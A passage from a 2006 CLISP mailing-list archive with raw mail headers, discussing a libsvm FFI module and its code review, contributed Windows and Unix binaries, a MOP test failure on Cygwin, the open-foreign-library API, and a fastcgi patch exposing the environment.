clisp-list@lists.sourceforge.net; Wed, 04 Oct 2006 06:13:42 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A3847450098; Wed, 04 Oct 2006 09:13:40 -0400 Message-ID: <4523B376.4000407@gnu.org> Date: Wed, 04 Oct 2006 09:13:26 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Oct 2006 13:13:43 -0000 Sam Steingold wrote: > I am trying to write an FFI module interface to libsvm > http://www.csie.ntu.edu.tw/~cjlin/libsvm/ the code is now in the CVS. it includes libsvm sources and README. I would appreciate testing and comments. thanks. Sam. From sds@gnu.org Wed Oct 04 08:22:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GV8ZW-0001dt-8H for clisp-list@lists.sourceforge.net; Wed, 04 Oct 2006 08:22:10 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GV8ZU-0007UN-Q8 for clisp-list@lists.sourceforge.net; Wed, 04 Oct 2006 08:22:10 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A1A3B7A008A; Wed, 04 Oct 2006 11:22:11 -0400 Message-ID: <4523D195.30405@gnu.org> Date: Wed, 04 Oct 2006 11:21:57 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Oct 2006 15:22:10 -0000 clisp libsvm module is now in the CVS. comments (or, better yet - PATCHES!) are welcome thanks Sam. From sds@gnu.org Thu Oct 05 07:33:57 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVUIP-0006mh-6p for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 07:33:57 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVUIM-0000a8-Q6 for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 07:33:57 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A7D792E00C4; Thu, 05 Oct 2006 10:33:59 -0400 Message-ID: <452517C7.8020509@gnu.org> Date: Thu, 05 Oct 2006 10:33:43 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Yaroslav Kavenchuk , Jack Unrue , Pascal Costanza , Bruce O'Neel References: <45226E3E.6020702@gnu.org> <452272C4.7080804@jenty.by> <45228950.5090908@gnu.org> <4522D391.8020805@tut.by> In-Reply-To: <4522D391.8020805@tut.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.40 binaries X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 14:33:58 -0000 Yaroslav Kavenchuk wrote: > I should rebuild and resend packages for win32? yes, please upload the new packages to anonymous@upload.sourceforge.net:/incoming and post the description here in the following format: (see https://sourceforge.net/project/shownotes.php?release_id=432725&group_id=1355) contributed binary distributions: clisp-2.39-win32-mingw-no-readline.zip built by Jack Unrue using mingw without i18n and readline with rawsock, dirkey and bindings/win32 clisp-2.39-win32-with-readline-and-gettext.zip built by Yaroslav Kavenchuk using mingw (with all 4 standard base modules) with rawsock, dirkey, wildcard and bindings/win32 clisp-2.39-powerpc-apple-darwin8.7.0-8.7.0.tar.gz built by Pascal Costanza with the 4 standard base modules and nothing else clisp-2.39-sparc-unknown-openbsd3.9-3.9.tar.gz built by Bruce O'Neel with the 3 standard base modules and nothing else thanks! From kavenchuk@jenty.by Thu Oct 05 07:53:47 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVUbb-0001cL-7P for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 07:53:47 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVUbY-0005pe-Im for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 07:53:47 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id T2NP5Q28; Thu, 5 Oct 2006 17:57:06 +0300 Message-ID: <45251CFC.5090401@jenty.by> Date: Thu, 05 Oct 2006 17:55:56 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 MIME-Version: 1.0 To: =?UTF-8?B?TWFya28gS29jacSH?= References: <9238e8de0610032328s43036764gb7182f7512a50920@mail.gmail.com> In-Reply-To: <9238e8de0610032328s43036764gb7182f7512a50920@mail.gmail.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: list-clisp Subject: Re: [clisp-list] 2.40 win32 binary X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 14:53:47 -0000 Wait some times, please. -- WBR, Yaroslav Kavenchuk. From jdunrue@gmail.com Thu Oct 05 09:04:45 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVViG-00056A-TH for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 09:04:45 -0700 Received: from py-out-1112.google.com ([64.233.166.180]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVViG-0005KE-Jl for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 09:04:44 -0700 Received: by py-out-1112.google.com with SMTP id x31so744490pye for ; Thu, 05 Oct 2006 09:04:44 -0700 (PDT) Received: by 10.35.10.17 with SMTP id n17mr3840529pyi; Thu, 05 Oct 2006 09:04:41 -0700 (PDT) Received: by 10.35.51.17 with HTTP; Thu, 5 Oct 2006 09:04:40 -0700 (PDT) Message-ID: Date: Thu, 5 Oct 2006 10:04:40 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <452517C7.8020509@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <45226E3E.6020702@gnu.org> <452272C4.7080804@jenty.by> <45228950.5090908@gnu.org> <4522D391.8020805@tut.by> <452517C7.8020509@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] 2.40 binaries X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 16:04:45 -0000 On 10/5/06, Sam Steingold wrote: > Yaroslav Kavenchuk wrote: > > I should rebuild and resend packages for win32? > > > yes, please upload the new packages to > anonymous@upload.sourceforge.net:/incoming > and post the description here in the following format: > > (see > https://sourceforge.net/project/shownotes.php?release_id=432725&group_id=1355) > > contributed binary distributions: > > clisp-2.39-win32-mingw-no-readline.zip > built by Jack Unrue > using mingw without i18n and readline > with rawsock, dirkey and bindings/win32 OK, I'll take MinGW again. -- Jack Unrue From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 05 09:31:46 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVW8Q-0000WV-J4 for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 09:31:46 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVW8N-0008AK-Uf for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 09:31:46 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by mail5.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 5 Oct 2006 17:50:21 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 5 Oct 2006 17:50:17 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 5 Oct 2006 17:50:15 +0200 Message-Id: in-reply-to: <452521F0.7070608@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: open-foreign-library Thread-Index: AcbokVzxHTzKa50GRDmL+/LnoUKx8gAAwb9Q From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 05 Oct 2006 15:50:17.0640 (UTC) FILETIME=[F47F6A80:01C6E895] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] open-foreign-library X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 16:31:46 -0000 U2FtIFN0ZWluZ29sZCB3cm90ZToNCj53aXRoIHRoZSBwYXRjaCB0byBiZSBjb21taXR0ZWQgdG9u aWdodCwgRkZJOjpGT1JFSUdOLUxJQlJBUlkgDQo+d2lsbCBzdG9wIGJlaW5nIG5lY2Vzc2FyeS4N Cj5pdCBtaWdodCBiZSB1c2VmdWwgdG8gcHJlLW9wZW4gYSBsaWJyYXJ5DQoNCkNsaXNwIHVzZXJz IGhlcmUgaGF2ZSBJTUhPIG1hZGUgZ29vZCBjYXNlcyBpbiB0aGUgcGFzdCBhcyB0byB3aGV0aGVy IGl0J3MgYSBnb29kIHRoaW5nIHRvIGJlIGFibGUgdG8gb3BlbiBsaWJyYXJpZXMgZWFybHkuDQoN CkknZCBsaWtlIHRvIGFkZCB0aGF0IEkgYWx3YXlzIGhhdmUgYmFkIGZlZWxpbmdzIHdoZW4gSSBz ZWUgZm9yZWlnbiBmdW5jdGlvbiBpbnZva2luZyBjb2RlIHJhaXNlIGVycm9ycy4gIEl0IGNhbiBi ZSBzeW5vbnltIHdpdGggbWVtb3J5IGxlYWthZ2UuDQpUaGVyZWZvcmUgSSd2ZSBuZXZlciBiZWVu IGEgZ29vZCBmcmllbmQgb2YgYWxsIHRoYXQgbGF6eS1vcGVuaW5nIHN0dWZmLg0KRS5nLiBjb25z aWRlcg0KKGRlZi1jYWxsLW91dCA6YXJncyAoZm9vIDphbGxvY2F0aW9uIDptYWxsb2MpKQ0KVXBv biBpbnZvY2F0aW9uIElJUkMsIENMSVNQIHdpbGwgZmlyc3QgcGVyZm9ybSBhbGwgY29udmVyc2lv bnMgKHVzZSBtYWxsb2MoKSksIHRoZW4gYmFyZiBvbiBhIGJyb2tlbiBsaWJyYXJ5IHBvaW50ZXIu ICBBbGwgbWVtb3J5IGlzIGxvc3QuDQpDb25zaWRlciB0aGF0IGFzIHBhcnQgb2YgYSBsYXJnZXIg dXNlLWNhc2UgZm9yIHBvc3NpYmxlIGVuaGFuY2VtZW50cyBpbnZlc3RpZ2F0aW5nIGF1dG9tYXRl ZCB0cmFja2luZyBvZiBtYWxsb2MoKSdlZCBtZW1vcnkgYW5kIGludGVyYWN0aW9uIHdpdGggcHJv dG9jb2xzIGZvciB0cmFuc2ZlciBvZiBkdXR5IG9mIGNhbGxpbmcgZnJlZSgpLg0KDQoNCj4gZXNw ZWNpYWxseSBpcyB0aGVyZSB3ZXJlIGFuIEFQSSB0byANCj5saXN0IGFsbCBzeW1ib2xzIHRoYXQg ZGxzeW0gd2lsbCBmaW5kIGluIGl0LCBidXQgaXQgaXMgbm90IA0KPnN0cmljdGx5IG5lY2Vzc2Fy eS4NCg0KPkJUVywgaG93IGRvZXMgbm0oMSkgZG8gaXRzIGpvYiAtIHdoeSBpc24ndCB0aGVyZSBh biBBUEkgdGhhdCANCj5DTElTUCBjb3VsZCBleHBvcnQgDQo+c28gdGhhdCB0aGUgdXNlcnMgY291 bGQgb3BlbiBhIGZvcmVpZ24gbGlicmFyeSBhbmQgdGhlbiBsaXN0IA0KPmFsbCBleHBvcnRlZCBz eW1ib2xzPyANCj4oaHR0cDovL3d3dy5vcGVuZ3JvdXAub3JnL29ubGluZXB1YnMvMDA5Njk1Mzk5 L2Z1bmN0aW9ucy9kbHN5bS5odG1sLCANCj5odHRwOi8vd3d3Lm9wZW5ncm91cC5vcmcvb25saW5l cHVicy8wMDk2OTUzOTkvdXRpbGl0aWVzL25tLmh0bWwpDQoNCk5vIGNvbW1lbnRzLiAgIlJlZmxl Y3Rpb24iIGFiaWxpdHkgc3VyZSBoYXMgaXRzIHVzZXMgKGUuZy4gQ09NIGFuZCBBcHBsZSdzIEh5 cGVydGFsayBldGMuIGNvbWUgdG8gbWluZCwgd2hpY2ggeW91IGNhbiBxdWVyeSBmb3IgY29tbWFu ZHMgdGhhdCB0aGUgYXBwbGljYXRpb24gdW5kZXJzdGFuZHMpLg0KDQpSZWdhcmRzLA0KCUrDtnJn IEjDtmhsZS4NCg== From lisp-clisp-list@m.gmane.org Thu Oct 05 08:26:36 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVV7G-00070q-6T for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 08:26:33 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GVV78-0007HK-Fr for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 08:26:22 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GVV0X-0002WB-DK for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 17:19:34 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 17:19:33 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 17:19:33 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 05 Oct 2006 11:12:36 -0400 Lines: 28 Message-ID: <452520E4.9050404@gnu.org> References: <452352D9.8080805@x-ray.at> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: <452352D9.8080805@x-ray.at> Sender: news X-Spam-Score: 2.5 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.9 UPPERCASE_50_75 message body is 50-75% uppercase X-Mailman-Approved-At: Thu, 05 Oct 2006 09:51:29 -0700 Subject: Re: [clisp-list] 2.40 fails mop.tst on cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 15:26:36 -0000 Reini Urban wrote: > all tests pass except one: > > Form: (LET (CONSTRUCTOR) (DEFCLASS CONSTRUCTOR NIL ((NAME :INITARG :NAME > :ACCESSOR CONSTRUCTOR-NAME) (FIELDS :INITARG :FIELDS :ACCESSOR > CONSTRUCTOR-FIELDS)) (:METACLASS FUNCALLABLE-STANDARD-CLASS)) (DEFMETHOD > INITIALIZE-INSTANCE :AFTER ((C CONSTRUCTOR) &KEY) (WITH-SLOTS (NAME > FIELDS) C (SET-FUNCALLABLE-INSTANCE-FUNCTION C #'(LAMBDA NIL (LET ((NEW > (MAKE-ARRAY (1+ (LENGTH FIELDS))))) (SETF (AREF NEW 0) NAME) NEW))))) > (SETQ CONSTRUCTOR (MAKE-INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS > '(X Y))) (LIST (STRINGP (WITH-OUTPUT-TO-STRING (*STANDARD-OUTPUT*) > (DESCRIBE CONSTRUCTOR))) (FUNCALL CONSTRUCTOR))) > CORRECT: (T #(POSITION NIL NIL)) > CLISP : ERROR > SYSTEM::%RECORD-REF: # is not a record > > ./makemake --with-dynamic-ffi --prefix=/usr --fsstnd=redhat > --with-readline --with-gettext --with-module=rawsock > --with-module=dirkey --with-module=bindings/win32 > --with-module=berkeley-db --with-module=pcre --with-module=postgresql > --with-module=fastcgi --with-module=zlib > > same as on MacOSX > patch in https://sourceforge.net/tracker/index.php?func=detail&aid=1569234&group_id=1355&atid=101355 see also http://article.gmane.org/gmane.lisp.clisp.general/11492 From lisp-clisp-list@m.gmane.org Thu Oct 05 10:32:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVX5K-0007Cy-4M for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 10:32:38 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GVX5I-0000KX-GD for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 10:32:38 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GVX2B-0008Ia-RT for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 19:29:24 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 19:29:23 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 19:29:23 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 05 Oct 2006 13:23:44 -0400 Lines: 27 Message-ID: <45253FA0.8080001@gnu.org> References: <452521F0.7070608@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] open-foreign-library X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 17:32:38 -0000 Hoehle, Joerg-Cyril wrote: > Sam Steingold wrote: >> with the patch to be committed tonight, FFI::FOREIGN-LIBRARY >> will stop being necessary. >> it might be useful to pre-open a library > > Clisp users here have IMHO made good cases in the past as to whether it's a good thing to be able to open libraries early. > > I'd like to add that I always have bad feelings when I see foreign function invoking code raise errors. It can be synonym with memory leakage. > Therefore I've never been a good friend of all that lazy-opening stuff. > E.g. consider > (def-call-out :args (foo :allocation :malloc)) > Upon invocation IIRC, CLISP will first perform all conversions (use malloc()), then barf on a broken library pointer. All memory is lost. > Consider that as part of a larger use-case for possible enhancements investigating automated tracking of malloc()'ed memory and interaction with protocols for transfer of duty of calling free(). the code that will be checked in tonight opens the library before doing any allocations. the only situation when you would want to use open-foreign-library is when you do not know of any symbol in the library and just want to check if dlopen will work. otherwise (def-call-out foo (:library "bar")) is just as good. at any rate, IIUC, you do want the new public function open-foreign-library. the next question is: currently, ffi::foreign-library accepts the "version" second optional argument (it appears to be a hold-over from amiga). does the new ffi:open-foreign-library need to accept this second argument? presumably no. From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 05 11:25:30 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVXuU-0003xm-Ns for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 11:25:30 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVXuS-0005dN-3i for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 11:25:30 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 5 Oct 2006 18:59:47 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 5 Oct 2006 18:59:46 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 5 Oct 2006 18:59:44 +0200 Message-Id: in-reply-to: <4523D195.30405@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] ffi & libsvm Thread-Index: AcbokbyjvQ4i42t/TTCLPmrg2zq55gABe27A From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 05 Oct 2006 16:59:46.0843 (UTC) FILETIME=[A9894EB0:01C6E89F] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 18:25:30 -0000 Sam Steingold wrote: >clisp libsvm module is now in the CVS. >comments (or, better yet - PATCHES!) are welcome o Ad destroy-problem: allocate-deep should be matched with foreign-free :FULL T explicitly o Your use of (setf (validp problem)/(validp parameter) nil) is excellent. Users will get an error, not a crash from trying to use a problem after destroy-problem. Why don't you do the same for the model? That you receive the model pointer as result from a call to svm_train() instead of doing it yourself via allocate-deep is no reason. I created the SET-FOREIGN-POINTER API explicitly so that a resource pointer returned via FFI can be dissociated from the unique FFI session pointer. Afterwards, you'll be able to call (setf (validp model) nil) equally. Just wrap the call to the constructor. (defun train () (set-foreign-pointer (ffi_train) :copy)) Once you have that, you can use FINALIZE on the model. You could even use FINALIZE's guarded form to make some dependency explicit: (FINALIZE MODEL PROBLEM) With the guarded form, you may be able to add a finalizer for PROBLEM itself, but I've never used the guarded form... With all three finalizers in place, it would look very Lispy & cool. o svm_cross_validation :args (c-ptr problem) Everytime you use (c-ptr problem), there's full conversion taking place. Are you sure that's what you intended? Did you mean (c-pointer problem) instead? Same for (c-ptr parameter) o defun cross_validation (with-foreign-object (target #) ... (foreign-value target)) (with-c-var (target #) ... target) would be clearer I think. I prefer to use with-c-var whenever possible. Same for get-labels, predict-probability o test.tst: (SLOT (FOREIGN-VALUE #)) is abstraction violation Please use (WITH-C-PLACE (p-parameter f-parameter) (setf (slot p-parameter 'gamma) 0d0) instead. Note that all your defun WITH-FOREIGN-OBJECT wrappers fit the pattern that I suggested long ago (and never implemented) (def-call-out predict_probabilty :arguments (model model) (prob_estimates (c-ptr (c-array int (SIZE (get-nr-class model)))) :out)) The wrappers could be generated via a macro that would understand such extended type declarations. All in all, the code looks very clean. It makes me wonder, "what was the problem?" Regards, Jorg Hohle. From don-sourceforge-xx@isis.cs3-inc.com Thu Oct 05 11:33:32 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVY2G-0004jR-RA for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 11:33:32 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVY2G-0007Ze-KF for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 11:33:32 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 8DB9A1A818F; Thu, 5 Oct 2006 11:33:26 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17701.20470.529253.29774@isis.cs3-inc.com> Date: Thu, 5 Oct 2006 11:33:26 -0700 To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] fastcgi suggestion - access to whole environment X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 18:33:33 -0000 There seems to be no interface in the fastcgi module to provide the entire environment. There should be. Here's my minimal addition to provide it. - fastcgi.h: add extern char ** fcgi_env(); - fastcgi_wrappers.c: add char ** fcgi_env(char * var) { return environ;} - fastcgi.lisp: add (def-call-out fcgi_env (:arguments) (:return-type (FFI:C-POINTER c-string))) You can then iterate over env with some ugly code like (loop for i from 0 as next = (ffi:offset (ffi:foreign-value (fastcgi::fcgi_env)) (* i (ffi:sizeof 'ffi:c-string)) 'ffi:c-string) while next collect next) Improvements over this interface are welcome, of course. From lisp-clisp-list@m.gmane.org Thu Oct 05 11:36:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVY4v-000512-Eb for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 11:36:17 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps 